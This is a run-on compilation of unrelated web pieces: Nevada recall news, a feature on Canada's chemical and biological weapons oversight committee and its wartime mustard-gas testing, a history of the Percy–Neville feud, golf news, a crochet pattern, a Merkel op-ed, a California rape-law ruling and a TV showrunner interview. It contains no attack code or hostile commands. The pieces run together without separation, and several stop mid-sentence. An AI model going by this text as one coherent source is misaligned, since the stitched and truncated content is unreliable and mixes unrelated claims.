Keep a close eye on Alien vs. Predator Galaxy for the latest Alien news! You can follow us on Facebook, Twitter and Instagram to get the latest on your social media walls. You can also join in with fellow Alien fans on our forums!Visions of America via Getty Images Republicans are seeking to retake the Nevada Legislature outside the usual electoral process.
Nevada Republicans took a significant step Monday in their plan to take back control of the state Legislature through a series of recall elections ― an effort even the state’s GOP governor has criticized as “dangerous.”
Democrats won control of both houses of the Nevada Legislature last November and currently hold a slim 11-9 majority in the state Senate. In August, Republicans filed recall petitions against three senators ― two Democrats and an independent who caucuses with them.
None of the three are accused of malfeasance or wrongdoing, which is in any case not required by state law. Michael Roberson, the Republicans’ Senate leader, has simply called for their ouster on the grounds that Democrats generally have been “radicalized.”
Roberson has also not hid his party’s real agenda, telling voters last month that Republicans would “be back in the majority almost immediately” and that they would remain in power until after the 2020 census, when new electoral maps will be drawn, according to the Nevada Independent.
On Monday, supporters of the Republican effort submitted more than 17,000 signatures calling for a recall of state Sen. Joyce Woodhouse (D). Election officials will review and verify those signatures, but only 14,412 need to be valid to force a recall vote. Nevada law provides for a recall election if a petition gathers the signatures of 25 percent of the people who voted in the earlier election won by the lawmaker.
Petitions with sufficient signatures are expected to be filed against the other two senators ― Democrat Nicole Cannizzaro and independent Patricia Farley ― in early November, the Independent reports.
Gov. Brian Sandoval (R) told the news outlet that he didn’t think there was a “legitimate reason” for the recalls and said they would set a “dangerous precedent.”
“It’s an escalation of tactics, and I said, I hate to see that happen,” Sandoval said. “It’s never happened before, but it probably will likely become another typical arrow in the quiver for both parties. I hope it doesn’t, but again, if it’s successful, and the voters do recall these individuals, I can’t see why all of them wouldn’t use it going forward.”
The state has seen 150 recall efforts since 1993, the last year a legislator was successfully ousted, according to the Las Vegas Review-Journal.
It’s unclear who is funding the latest campaign, and those pushing it don’t have to disclose their identity until four days before the special election, if one is |
University of Alberta professor emeritus in the Department of Biological Sciences. The BCDRC’s executive officer is retired Brig.-Gen James Selbie.
Potvin, who studies chemical catalysts for use in solar cells at York U, chaired the BCDRC in 2013 and was its past chair in 2014. Having served eight years with the BCDRC, Potvin is seeking to recruit someone from the chemistry community to replace him in this tribunal of civilian oversight. The responsibility is a key one within the framework of Canadian military policy. The BCDRC ensures that Canada’s Department of National Defence maintains a non-aggressive stance while it undertakes ongoing biological and chemical weapons research and testing. The role, Potvin says from his office at York U, “is to keep the public satisfied that the government’s activities with respect to biological and chemical warfare are safe and not offensive in nature. We also concern ourselves with the safety and adequacy of chemical and biological defence training.”
Canada’s huge stockpiles of mustard gas and other chemical and biological warfare agents were disposed of following the Second World War on land and in deep ocean disposal sites. Photo by: Library & Archives Canada
The demarcation between defensive and offensive isn’t always clear, especially during wartime. Certainly there were years when Canada — despite a long and proud reputation as international peacemaker — stepped over that line. John Bryden, in his 1989 book Deadly Allies: Canada’s Secret War 1937-1947, documented how easily this line can blur. During the Second World War, Bryden wrote, Canada took a leadership role among the Allied forces in chemical weapons experimentation, researching the effects of mustard gas on soldiers at Canadian Forces Base Suffield in Alberta. These experiments were driven in part by Canada’s Frederick Banting, who was a medical liaison officer with the British at the start of the war. A Nobel Prize winner, Banting had a stellar reputation, having discovered insulin alongside Charles Best at the University of Toronto nearly two decades earlier.
It was Banting who suggested that Canada’s vast open spaces would be ideal to undertake large-scale field trials, which led to Suffield, northwest of Medicine Hat, Alta. becoming a centre for chemical and biological field testing. According to Deadly Allies, Banting also undertook experiments on his own body, suffering mustard gas burns. Despite first-hand experience of its consequences, Banting and his researchers continued to test blister agents on soldiers. By 1944, hundreds of Canadian troops had been subjected to mustard gas testing at Suffield, enduring severe burns and even blindness. Similar research was also being carried out at the National Research Council labs in Ottawa under biologist Gordon Malloch. Meanwhile, “hundreds of tons of all kinds of poison gas were regularly rumbling between Halifax, Cornwall, Toronto, Windsor, Winnipeg, and Medicine Hat…,” Bryden wrote.
Members of the Biological and Chemical Defence Review Committee undergo a briefing at the Royal Military College of Canada in Kingston, Ont. in 2014. Photo by: Biological and Chemical Defence Review Committee
In a telephone interview from his home in Hamilton, Ont. Bryden reflects upon the ethical issues raised in his book. “It indirectly examines what individuals like Banting had to deal with: things like killing other people in wartime versus their conscience.” But it is clear from today’s global realpolitik that “any advanced nation needs to maintain a defensive expertise,” says Bryden, who was consulted on the creation of the BCDRC before its formal launch in 1990. “My recommendation was to set up a committee of distinguished persons in the field to tour facilities yearly. They would make themselves available to personnel who could express confidence or misgivings about their safety or policy concerns.”
Following the Second World War, Canada’s vast stockpiles of mustard gas were reduced to lab quantities while the rest was disposed of, says Bryden. But the methods of disposal were shoddy. Department of National Defence (DND) spokesperson Ashley Lemire confirmed that the surplus materials “possibly containing chemical or biological warfare agents were disposed of in Canadian lands and waters.” Today this would be considered “unacceptable,” Lemire says. This led to the creation of the Warfare Agent Disposal (WAD) project, which was undertaken in 2002 to identify and assess sites for clean up. Although WAD was shut down in 2011, there remain 11 sites where chemical or biological materials “could feasibly be present today,” says Lemire. These include three deep ocean disposal sites off the East and West coasts and another one on private property, she says.
Canada’s actions nearly two decades after the Second World War raised additional concerns about ethics and whether the country was taking an aggressive versus defensive posture. In 1966 and 1967, Canada participated in US military-backed testing of Agents Purple and Orange outside New Brunswick’s Canadian Forces Base Gagetown. These chemicals were used during the Vietnam War to defoliate forest and rural areas and blight crop production. Agent Orange was a mixture of 2,4 dichlorophenoxyacetic acid (2,4, D) and trichlorophenoxyacetic acid (2,4,5,T). The latter contained TCDD, or 2,3,7,8-Tetrachlorodibenzo-p-dioxin, which is highly toxic even in small doses. “People were rightfully incensed, it seemed to clash with Canadian values,” says Potvin. “It was a dominant reason why this committee was created.”
These compounds affected not only Vietnamese who were exposed to the TCDD during the hostilities but Canadian soldiers. Just this past December, the federal Veterans Review and Appeal Board granted 83-year-old Basil McAllister of Burton, NB, who is ill with Type 2 diabetes and skin and prostate cancer, additional disability compensation due to his exposure to Agent Orange during testing in New Brunswick. (McAllister earlier had received a $20,000 flat payment from Ottawa that was granted individuals in 2007 who showed symptoms of Agent Orange exposure, such as lymphoma, respiratory cancers, prostate cancer and Type 2 diabetes.)
Today, the BCDRC focuses strictly upon current activities occurring under the auspices of the DND. It also visits facilities such as the Canadian Science Centre for Human and Animal Health (CSCHAH), a Level 4 infectious disease laboratory complex in Winnipeg that is capable of handling and testing the most deadly materials known today, such as the Ebola virus. (Canada’s Food Inspection Agency is based at the same facility.) BCDRC visits to the CSCHAH have only been to examine how the facility interacts with the DND and the Canadian Armed Forces. Because the CSCHAH can function as a rapid response team in case of biological incidents pertaining to possible outbreaks of super lethal bacteria, viruses or toxins, it therefore is “relevant to biological warfare,” Potvin says.
Another place where research on unconventional weapons can take place is at the DND’s Defence Research and Development Canada (DRDC) agency. The DRDC has eight research centres scattered across the country, which provide knowledge and technology to the Canadian Armed Forces and government departments to ensure public safety and protect Canadian interests here and abroad. BCDRC members will visit facilities like these during their twice yearly, week-long inspection trips. These visits are to gather information, says Potvin, as well as assess Canada’s emergency preparedness, especially in times of heightened threat, whether that be events like the 2010 Vancouver Olympics or military missions abroad.
The research and development being carried out at the DRDC centres is extensive. The Atlantic Research Centre, for example, studies mine and torpedo defence and antisubmarine warfare. Personnel at the Ottawa Research Centre develop technologies in such areas as radiological nuclear defence. But it’s the DRDC Suffield Research Centre that is the main centre of excellence for chemical and biological defence. Here on the vast expanse of semi-arid grassland, live training exercises are carried out with more than 2,000 personnel a year, including Canada’s North Atlantic Treaty Organization (NATO) allies, to keep abreast of any biological, chemical, explosive, nuclear or radiological threats. The toxicity of chemical warfare agents are assessed and the detection and identification of chemical, biological and radiological hazards extensively tested. “You have to know how to be offensive in order to build the proper defences against them, so it’s important to know how to weaponize a chemical agent,” says Potvin, who, along with his BCDRC colleagues, visits Suffield CFB when weapons exercises are carried out and keeps tabs year-round on the facility. For example, any accident involving chemical weapons — whether during live exercises or in a laboratory setting — no matter how minor, must be reported to the BCDRC, Potvin says.
Exactly what kind of chemicals or biological agents are of concern to the DND is considered top secret, says Potvin. However, it is believed that a so-called fourth generation of deadly nerve agents was developed by the Soviet Union during the Cold War. And this, says Potvin, is worrisome. (World War One agents are classified as first generation.)
The Cold War has been over for 25 years. Yet global tensions abound and the threat of a chemical attack — while extremely low — cannot be ruled out. DND spokesperson Lemire says an estimated 70,000 tonnes of toxic agents still exist globally — most in the United States and Russia. However, there may be rogue states or terrorist groups who may be in possession of or are seeking to obtain chemical weapons, Lemire says.
Such realities necessitate vigilance, not only by our governments and military but groups like the BCDRC that help uphold and preserve Canadian values. As John Bryden says, “that’s why the Chemical and Biological Defence Review Committee is so important — it is an expression of Canada’s conscience.”The Percy–Neville feud was a series of skirmishes, raids and vandalism between two prominent northern English families, the House of Percy and the House of Neville, and their followers, that helped provoke the Wars of the Roses. The original reason for the long dispute is unknown, and the first outbreaks of violence were in the 1450s, prior to the Wars of the Roses. The antagonists would later meet in battle several times during the feud.
Origins and context [ edit ]
Wressle Castle in 2009: Forfeited by the Percys, it is possible they feared its loss to the Nevilles.
Yorkshire’s three Ridings were divided up between the crown (as Duke of Lancaster), the Percy family, Richard, 3rd Duke of York, and Richard Neville, 5th Earl of Salisbury.[1] However, the king and the duke of York do not seem to have visited Yorkshire very often, which Ralph Griffiths suggests meant that any tension would be solely between Percy and Neville. Indeed, he says, since the city of York itself was the most important, the capital-city of the north, it ‘provided a focus for their rivalries.’ It is not, he said, a coincidence that ‘the two virtual battles between Percy and Neville in 1453 and 1454 were fought close to the city’s walls.’[2] He also suggests that Percy tenants may have been as anti-Neville as their lords, since their estates were contiguous, this could have encouraged rivalry and bred antagonism.[3] As Professor Pollard has pointed out, Salisbury retained some of his knights from 'deep in Percy country, particularly southern Northumberland.[4]
Griffiths has suggested that by the mid-fifteenth century, relations between Percy and Neville were 'poisoned by jealousy and resentment.’[5] Further, he has pointed out that Salisbury probably did not expect- and not receive- the assistance of the Raby branch of his family (by his father's first wife, Margaret Stafford), which he puts down to the previous feud between the two branches of the family over the division of Westmorland's will.[6] Robin Storey has also pointed out how Northumberland seems to have been receiving less royal favour than Salisbury.[7] He points out however, that when trouble came, it was to be the earls' sons, not the lords themselves, that would start it.[8]
The degree to which the two earls were assisting and encouraging the feud behind the scenes has also been questioned. Griffiths, for example, has said that Thomas and John were Salisbury's direct representatives in it.[9]
Immediate causes for the feud [ edit ]
Various immediate causes having been ascribed to causing the outbreak of violence in 1454. Professor Griffiths has suggested that Lord Cromwell's manor of Wressle, Yorkshire, was seized by the Percys following the joining of the Cromwell and Neville families in marriage in 1453 (see below),[10] and that Cromwell viewed the Nevilles as allies against the Percys. Likewise, Warwick's feud with Somerset in south Glamorgan may have driven him into an alliance with the duke of York against him.[11] Griffiths also suggests that the single most important event to precipitate the feud was the marriage of Salisbury's second son, Thomas Neville to Maud Stanhope, the widow of Robert, Lord Willoughby.[12] Not only, says Griffiths, was any further aggrandisement for Salisbury's family anathema to the Percys, but the new Cromwell connection gave the Nevilles access to the ex-Percy manors of Wressle and Burwell, two-thirds of which had each been granted to Cromwell for life in February 1438, together with the reversion of the remainder. This grant was then converted into one in fee simple two years later, further reducing the likelihood of the Percys reclaiming it.[13] Griffiths has calculated Burwell to have been worth an income of c. £38 10s 6d per annum in 145-6.[14] These manors had been forfeited in 1403 by the first earl of Northumberland after the failure of the Percy Rebellion against Henry IV, and Cromwell's holding them in fee-simple meant they were available to him to grant away to whoever he liked.[15]
Skirmish at Heworth Moor [ edit ]
The earl of Salisbury's castle at Sheriff Hutton today
This, the first actual confrontation (and'most serious incident to date')[16] between the two families, in response to the marriage of Thomas Neville and Maud, a marriage which Griffiths has said must have been 'obnoxious' to the Percys, and particularly Thomas Percy, 1st Baron Egremont.[17] This clash, on 24 August 1453, has been described as having the intention of 'the destruction of the entire Neville party' on the latter's way to the Neville stronghold of Sheriff Hutton Castle; it is, says Griffiths 'unclear' as to whether the Earl of Northumberland was party to Egremont's plans.[18] Since only five members of the wedding party are ever named as being present by contemporary chroniclers, it is impossible to assess the strength of their force--Griffiths suggests 'their retinues must have ben [sic] impressive.'[19] It has been suggested that the earl of Salisbury was personally targeted for attack by one Sir William Buckton, due to the fact that at the later indictments, his name was individually recorded as being contra comite Sarum in campo (‘against the earl of Salisbury in the field’).[20]
The prospect of Percy manors passing to the Neville family was too much for Lord Egremont, who spent days fiercely recruiting in York and ambushed the Nevilles on their way home to Sheriff Hutton. He no doubt intended to assassinate the Nevilles, but all of the family were there with their own retinues, so they probably had a larger force than Egremont expected (as earls, Salisbury and Warwick were entitled to at least a hundred soldiers each in their retinues).
Still, the Percy force was almost certainly larger in size (though 710 names have been preserved, they probably numbered over a thousand). Mutual fear of fighting a pitched battle meant there was little if any bloodshed, and the Nevilles were able to retreat swiftly to their stronghold in Sheriff Hutton. There is an alternative view; the evidence for this is found on legal rolls and nowhere else. As not a soul is recorded as being injured in the skirmish, it is possible that the Nevilles used this incitement of violence as an excuse, an early example of a legal fiction, to take the matter to the royal courts, resolving the legal case and thereby stating whose land this skirmish took place on. This view has been suggested after studying the Kings Bench lists (now withdrawn from the public), where a number of skirmishes such as this are recorded but the only injuries or casualties found are a hen and occasionally a dog.
Incidents and chronology [ edit ]
20 Oct 1453: The leaders of both Neville and Percy forces--Thomas and John Neville for the former, Egremont and Sir Richard Percy for the latter--converged respectively on their castles of Topcliffe and Sand Hutton in the North Riding. Significantly, they were, for the first time, accompanied by their fathers and elder brothers--Salisbury and Richard, Earl of Warwick accompanied John and Thomas, whilst the Percy brothers were with Northumberland and his elder brother Henry, Lord Poynings. However, the result of this near-confrontation appears to be unrecorded, says Griffiths.[21]
Griffiths has suggested that the conflict intensified after Christmas 1453, compared to the first few months.[22]
6 May 1454: Salisbury's house in York is broken into and his tenants attacked.Those who took part in this attack had mostly been with Egremont at Heworth. These men were also responsible for the sacking of Skipwith's York house a week later.[23]
Crown intervention [ edit ]
On 12 July 1453, the king and council announced a commission of Oyer and Terminer, which was headed by the earls of Salisbury and Northumberland themselves. This was however, reformed two weeks later; Griffiths has speculated that this was probably because not only was it not big enough to deal with such a serious collapse in law and order, but also the commissioners themselves 'were not very effective.’[24] Another weakness of this commission, he suggest, is the fact that it was composed with a number of Neville retainers; thus displaying a clear partisanship which would have been obvious to the Percys, and further reduce their faith in the crown's ability—or desire—to achieve a fair settlement.[25]
By 27 July, says Griffiths, the situation in the north had deteriorated so badly that the crown effectively abrogated its authority in the region, by writing directly to the two earls, laying responsibility for ending the dispute on them, and instructing them to keep their sons in order.[26] It was at this point too, that the commission of Oyer and Terminer of 12 July was reissued; this time, without the presence of the earls, and with a much larger number of lawyers,[27] 328 members included. The reissued commission composed of Sir William Lucy of Northamptonshire, Peter Arden, John Portyngton, and Robert Danby, the latter three being lawyers and the former an uninvolved knight. The commission also expanded geographically into Northumberland, Cumberland, Westmorland ‘and Yorkshire generally,’ as opposed to the narrow remit of just York and environs as had the first one.[28] Griffiths points to the fact that it actually found against at least four of John Neville's 'principle accomplices'- Sir John Conyers, Sir James Pickering, Sir Randolph and Sir Thomas Mountford.[29] The crown continued to write to the involved parties. On 8 October 1453, the council wrote to the earl of Westmorland and congratulated him on not assisting the Middleham branch. It also wrote again to Salisbury and Northumberland, ‘more in sorrow than in anger,’ as Griffiths has phrased it, exhorting them to remember their positions of Commissioners of the Peace and also as members of the king’s council. At the same time, Parlt demanded that the nobility resolve their problems peaceably rather than in force. However, the king's letters 'concluded wearily’ that both of them kept raising armed forces in spite of the appeals from king and parliament.[30] Similar letters were sent to their involved younger sons using stronger terms, warning them that they could eventually suffer forfeiture.[31] Griffiths has suggested that the crown was constrained in its attempts to suppress the law breaking because by now, the king had become incapacitated, and the council ruling in his stead were ill-able to afford alienating fellow magnates whose support might be required in government.[32]
Open warfare [ edit ]
In retaliation, Sir John Neville raided the absent Earl of Northumberland's house at Catton, in Yorkshire, and all but ruined it. The next day, Richard Percy attacked a house on Neville property.
The danger of civil war was intensified when both sides began summoning their retainers to strongholds in the north. On 20 October, the Percy clan had gathered 10,000 men at Topcliffe. Only four miles away, the Neville force was stationed at Sheriff Hutton. After several threats from the king, both sides reached a truce and disbanded their men. However, one chronicler said, "There was no reconciliation, the day of reckoning had merely been postponed."[citation needed]
Despite these precautions, it is probable that a few hundred men clashed at Stamford Bridge on 31 October or 1 November 1454, resulting in hundreds dead and more wounded. Lord Egremont was then captured and imprisoned by John Neville.
York's protectorate [ edit ]
Michael Hicks has described the roots of the Neville's alliance with Richard, Duke of York in 1453 as being based on their having 'common enemies'[33] (for instance, the king's chief minister, Edmund Beaufort, 1st Duke of Somerset) and that this association was significant enough to be 'a coalition of national significance.’[34] Griffiths notes that the parliament of 1453 failed to achieve any accord in the north, and that following the mental collapse of the king, York was made protector and Salisbury Chancellor; this, Griffiths suggests, presented Salisbury with an opportunity for revenge- which the earl took.[35] Salisbury was now in an official position to write to Egremont and his father much threateningly than the council had attempted the previous year. Northumberland was ordered to appear before the council by 12 June 1454, and his sons on 2 June.[36]
The rebellion of the duke of Exeter [ edit ]
During York's Protectorate, Somerset was imprisoned, and the Percys suffered greatly at the hands of the Nevilles. When the king recovered from his illness, York was relieved of power, and Somerset was released and was quick to ally himself with the Percys.
Six months later, Henry VI, Somerset and the Percys (the Lancastrians) met the Duke of York and the Nevilles (the Yorkists) in the First Battle of St Albans, where the Duke of Somerset and the Earl of Northumberland were slain.
The battle of Stamford Bridge [ edit ]
Not to be confused with Battle of Stamford Bridge
Stamford Bridge, one of the earl of Salisbury's manors, was on the old Roman Road east of York.[37] On 31 October 1454 (or, according to some accounts, 1 or 2 November) Egremont, and a short while later Richard Percy were captured by Sir Thomas Neville. Griffith's account describes there being hundreds killed and many wounded. It is likely that the Neville victory was made possible by the (to the Percys) treasonous flight of Peter Lound, the bailiff of their Pocklington manor, which was approximately two miles south of Stamford Bridge.) The two Percy brothers taken to Middleham Castle and then transferred to the duke of York's custody.[38]
Aftermath and consequences [ edit ]
The medieval prison of Newgate, where the Percy brothers were imprisoned and from whence they escaped two years later.
Following their defeat at Stamford Bridge, the Percy brothers were arraigned before a commission of Oyer and Terminer at York. This commission bound them over for massive sums; 8,000 marks payable to Salisbury, and including fines towards his countess and sons, to a total of 16,800 marks; Griffiths describes this as Salisbury's'reckoning' of all the damage caused him estates during the course of the feud.[39] Griffiths has summarised the financial bonds that were intended to hold the peace together. Salisbury entered into a bond with the king for 12,000 marks on behalf of his sons Thomas and John (for being the principal Neville players). Conversely, Northumberland and his mother bound themselves for the same amount, ‘for all offences’ against York and the Nevilles. Salisbury also agreed that Lord Egremont was to be released from the 16,800 mark bond he had been punished with in November 1454, and would also desist from taking any action against the Newgate sheriffs responsible for Egremont's escape. Egremont himself was then obligated in bond for 4,000 marks. This would have to be paid to Salisbury if he broke the peace towards the earl and his family for the next ten years. As Griffiths put, with these bonds, it was intended that ‘the slate was wiped clean.’[40]
References [ edit ]Tiger Woods, last seen doing a very realistic impression of a terrible chipper, will take a break from tournament golf, he announced on his website. Woods withdrew from last week's Farmers Insurance Open with a back injury, but says it is unrelated to the surgery he had last March to relieve a pinched nerve. Either way, he says that he needs to work on his game before playing publicly again:
Right now, I need a lot of work on my game, and to still spend time with the people that are important to me. My play, and scores, are not acceptable for tournament golf. Like I've said, I enter a tournament to compete at the highest level, and when I think I'm ready, I'll be back. Next week I will practice at Medalist and at home getting ready for the rest of the year. I am committed to getting back to the pinnacle of my game. I'd like to play The Honda Classic — it's a tournament in my hometown and it's important to me — but I won't be there unless my game is tournament-ready. That's not fair to anyone. I do, however, expect to be playing again very soon.
The Honda Classic will take place in Palm Beach Gardens (Fla.) starting Thursday, Feb. 26, so if all goes according to plan Woods will be competing again in just over two weeks. Woods hasn't won a major in almost seven years, but as recently as 2013 he won five tournaments and finished in the top ten in two majors.
[TigerWoods.com]
Photo via Donald Miralle/GettyCelebrated each year on 15 November, Steve Irwin Day is an annual international event honouring the life and legacy of the one and only Crocodile Hunter, Steve Irwin!
Steve Irwin Living in a home housed with dangerous snakes, lizards, injured birds and orphaned kangaroos was the norm for the Irwin family. His mum, Lyn cared for injured and orphaned animals. Steve used to say his Mum was the Mother Teresa of wildlife rehabilitation! There was not a room in... Read more
Wildlife Warriors Australia Zoo Wildlife Warriors Worldwide was established in 2002, initially by Steve and Terri Irwin as a way to include and involve other caring people to support the protection of injured, threatened or endangered wildlife from the individual animal to an entire species. It is... Read morePATTERN DETAILS
I love the brilliant colours of peacock feathers and their amazing, almost hypnotic pattern. This blanket is an attempt to try and capture some of that mesmerizing beauty. Reversible and double-thick, it's also a great blanket to cozy up in or to use as a bedspread. This project calls for 14 skeins of yarn for the peacock motif blanket, and another 5 skeins for the reverse-side blanket. I've chosen more inexpensive yarns to make it a more affordable project, and I can often find these yarns on sale at my local store or online. It also requires two different sizes of hooks - 5mm and 8mm. Additionally, you'll need a sewing needle. Blanket size works up to be about 50 inches by 58 inches. NOTE: If you want to increase the stability of the peacock "feathers" after you've stitched the feathers together and added the reverse-side blanket, you can slip stitch crochet around the tops of the feathers from one end to the other (crocheting into the feathers below if desired). BASIC SKILLS NECESSARY sc, dc, tr simple decrease GAUGE Peacock motifs should measure about 5" across. *Gauge for the reverse blanket is as follows: The 90 ch for the inner portion of the blanket should measure about 40" wide when worked in pattern for a couple of rows. The single crochet border of 10 rnds will account for 5" around the edge.* SUGGESTED YARN 4500 yards of Worsted weight PREFERRED BRAND/YARN Deborah Norville & Red Heart SoftBy Elizabeth Pond
As European leaders clashed at their umpteenth "last chance" summit to save the euro at the end of June, everyone from French President Francois Hollande to billionaire George Soros heaped blame on Angela Merkel. Even the Czech government and the Bulgarian Central Bank jumped on the bandwagon to isolate Europe's new "Iron Lady." But as a German taxpayer, I would like to make a plea on her behalf.
Granted, I'm not German. However, I live in Berlin. I therefore contribute each year to the liquidity both of the Finanzamt and my IRS office in Texas. That gives me squatter's rights to argue that Merkel is being given a bum rap.
The first reason for this judgment is economic. At this point, almost four years after the Great Recession hit our globalized world, nobody seems to know what could finally pull us out of the recession or what it would cost. To be sure, every economist has his own prescription, but there's no consensus on a coherent revision of the old faith in unleashed market forces that got us into this meltdown. Policy is fiendishly difficult to choreograph when undercapitalized banks, skittish bond markets, conflated sovereign and private debt, financial contagion, moral hazard, labor immobility, capital flight, and financial deadlock in Washington and Europe all carom off each other in unpredictable ways.
Thus, while foreign critics hector Merkel to rescue each new euro zone country that comes up insolvent—Cyprus is the latest, despite all its bank deposits from Russian oligarchs—none of the kibitzers can assure her that even a magnanimous Berlin could afford the final bill. Like any sensible hausfrau, "Mutti" aka "Mama" Merkel refuses to write a blank check on the world's fourth-largest economy. Step-by-step prudence in overhauling a failed system can be a virtue, even in a crisis.
The second reason is political. The longer the recession goes on and unemployment rates soar, the more populist pressure builds in Europe—whether from right or left—to revert to beggar-thy-neighbor and xenophobic measures. So far, Berlin has escaped such extremism, in part through Merkel's leadership from behind. There is no equivalent in Germany to France's anti-Europe, anti-immigrant National Front Party that won 18 percent of initial presidential votes this year, nor to the Netherlands' virulent anti-Islamic Geert Wilders, who now gives the Hague government its one-vote majority in parliament.
By some miracle, Merkel—who studied non-political physics and experienced only top-down rule in her native Communist East Germany—has mastered democratic electoral politics in the 22 years since German reunification and the end of the cold war. Critics may accuse her of diluting European solidarity and regressing to nationalism in her insistence that European Monetary Union members must not violate the EMU treaty ban on bailouts (which would necessarily require the rich Germans to underwrite close to a third of any incurred costs). Yet she has brought her voters—and parliament and balky regional premiers and Germany's skeptical constitutional court—along with her in each new bailout-by-some-other-name that she has reluctantly approved in order to stave off bankruptcy in Greece, Ireland, Portugal, Spain, and soon enough, Italy.
Merkel's political success was hardly preordained. After she agreed in May of 2010 to Greece's first euro zone bailout of 110 billion euros ($140 billion) and a "temporary" €440 billion ($550 billion) euro zone fund to rescue debt-ridden member states, her popularity sagged. German taxpayers objected to subsidizing Greece's world-class tax evaders; approval of her coalition dropped to 34 percent, the lowest German government rating in a quarter century. German commentators speculated in unison about early elections and the end of the Merkel era, even as financial markets began forcing high interest rates on emergency borrowing by Ireland and Portugal as well as Greece.
Then, in early 2011 Germany's revered central bank expressed its displeasure with Merkel's slide away from the strict fiscal rectitude that underlay Germany's half-century-long economic miracle. Her preferred nominee as the next head of the European Central Bank, Bundesbank President Axel Weber, announced he would not be a candidate, and she finally nominated Italian Mario Draghi instead. In the same year ex-Bundesbank President Juergen Stark resigned from his post as chief economist of the European Central Bank in a vain protest over Draghi's plans for unorthodox ECB bond purchases to stanch the financial contagion that was by then already threatening the core of the euro zone's fourth- and third-largest economies in Spain and Italy.
At that point, just as Merkel was on the verge of agreeing at yet another euro zone summit to set up a permanent €700 billion ($875 billion) European Stabilization Mechanism to stop the contagion, the German Constitutional Court hemmed the chancellor in. It allowed for temporary financial rescues of ailing EMU members—as long as the Bundestag approved each and every step along the way—but outlawed any permanent bailouts or common-liability euro bonds. This effectively scotched the European fiscal union that Merkel was promoting.
In this hostile atmosphere, Merkel fought a defensive rather than an offensive battle for public opinion. Instead of campaigning for euro zone financial solidarity as a worthy end in itself, she defended further financial rescues of fragile euro zone states as a necessary last resort to avoid catastrophe both for the euro and for the European Union as a whole. All too plausibly, she argued that the costs of returning to national currencies—including German export losses from high valuation of any revived Deutschemark or some strong new northern European euro—would far exceed the costs of strengthening solidarity with less competitive euro zone states now. And she secured her flanks by persuading opposition Social Democrats and Greens as well as recalcitrants in her own ranks to support her moves.
In addition, Merkel appealed to her voters by compelling private holders of bonds issued by weak EMU states to join in north European taxpayer rescues by writing off almost half of their repayments. She further —only in Germany would this be a vote winner—instituted national austerity to get Berlin's own budget down to a 3 percent deficit within three years. She turned the tide; by mid-2011 opinion polls again showed her to be Germany's most trusted politician.
This summer's latest rescue measures by no means resolve the fundamental long-term dispute between the German and Finnish champions of austerity and the Mediterranean proponents of growth stimulus (which would have to be funded largely by Berlin). When details have been agreed on by the end of this year, up to €100 billion ($125 billion) from the euro zone's existing funds are to be made available to recapitalize failing Spanish banks directly, thus avoiding any increase in Madrid's sovereign debt. Ireland too, as a nation that is seriously reforming its finances, may be granted a similar deal. Any beneficiary banks will agree to the conditionality of good management and to pan-European supervision by a new watchdog to be set up under the European Commission.
Euro zone funds will also be empowered to buy bonds on "auction" as soon as they are issued by debtor countries that agree to structural reform. This will set a ceiling on open-market bond yields and avert punitive interest rates. Successor governments will be bound by existing agreements.
Still on the potential agenda for the next euro zone summit on July 9 and beyond are more coordinated fiscal policies, Merkel's dream of a future fiscal union with a single European finance minister, a pan-European bank union with common regulations and deposit guarantees, and perhaps one far-off day, even a political union.
Does the latest bargain escape the agonies of too little too late of the last two-and-a-half years of crisis?
Both the Bundestag and global financial markets have answered in the affirmative. After several hours of sometimes heated debate, the Bundestag approved Merkel's negotiation by a two-thirds cross-partisan majority that excluded only the Left carry-overs from East Germany. And the value of the euro and of worldwide shares has risen.
German pundits in both highbrow and boulevard media, however, are characterizing the deal as Merkel's sell-out. In addition, half a dozen new challenges have already been filed asking Germany's Constitutional Court to rule that too much of Berlin's fiscal sovereignty has been surrendered in the latest deal without proper democratic oversight. Angela Merkel will need all of her political skills to manage the next stage of the euro crisis.
Only a few more weeks will render the final market verdict of the latest "last chance." For whatever it's worth, though, I am one German taxpayer who believes Angela Merkel deserves at least two loud cheers.
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Elizabeth Pond is a Berlin-based journalist and author of The Rebirth of Europe.
[Photo courtesy of World Economic Forum]A California panel of judges overturned a rape conviction in part based on an arcane 19th century law
Photo by Joe Raedle/Getty Images.
Thanks in large part to a 19th century California law, a man who pretended to be the boyfriend of a sleeping woman before initiating sexual intercourse with her could get a second chance at a trial after an appellate panel of judges overturned his rape conviction. Why? The woman wasn’t married.
The judges are urging legislators to update the clearly outdated state law after deciding that Julio Morales, who was convicted and sentenced to three years in prison by a trial court, may have been sent to jail based on an argument by prosecutors that wasn’t—in the very strictest sense—a correct interpretation of the arcane law.
The 1872 criminal code, which apparently is still the state’s definition of rape by impersonation, applies as written only if the rapist is pretending to be the husband of a married victim. Here’s Judge Thomas L. Willhite Jr. on why the obviously reluctant panel of judges decided to overturn the conviction:
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doing. “Because I had gotten to a certain level as a screenwriter, I think I came into it with a degree of confidence from people,” the showrunner tells me. “Which might’ve been somewhat unearned, because I hadn’t run a pilot in 15 years. And then once we did the pilot, I hadn’t ever run a series.”
“It” is Crazy Ex-Girlfriend, the CW musical dramedy Brosh McKenna cocreated with star Rachel Bloom. Bloom, as a quick YouTube search reveals, came to the show from a background in sketch comedy. Brosh McKenna, on the other hand, had spent the majority of her career in feature screenwriting. Most famously, she adapted Lauren Weisberger’s novel The Devil Wears Prada into the script that would propel Meryl Streep to her 14th Academy Award nomination and provoke a documentary counterstrike from obvious inspiration Anna Wintour. Brosh McKenna’s screenwriting résumé also includes a handful of traditional rom-coms (Three to Tango, Laws of Attraction) and workplace rom-coms (27 Dresses, Morning Glory), along with credits on a few larger studio productions (the Quvenzhané Wallis–led remake of Annie, Cameron Crowe’s We Bought a Zoo).
Brosh McKenna’s transition to television wasn’t planned, though the now-familiar shifts in the film industry—the decline of mid-budget, star-powered, non-IP-based concepts; the corresponding slow death of various genres, from the romantic comedy to the erotic thriller; the difficulty of getting a green light for anything between a micro-indie and a blockbuster—made it more or less inevitable. “The ideas dictate where I go,” Brosh McKenna says in an initial interview, “and movies right now—and this is not going to be news to you—they’re not really the home for original ideas, particularly about women, at the moment.”
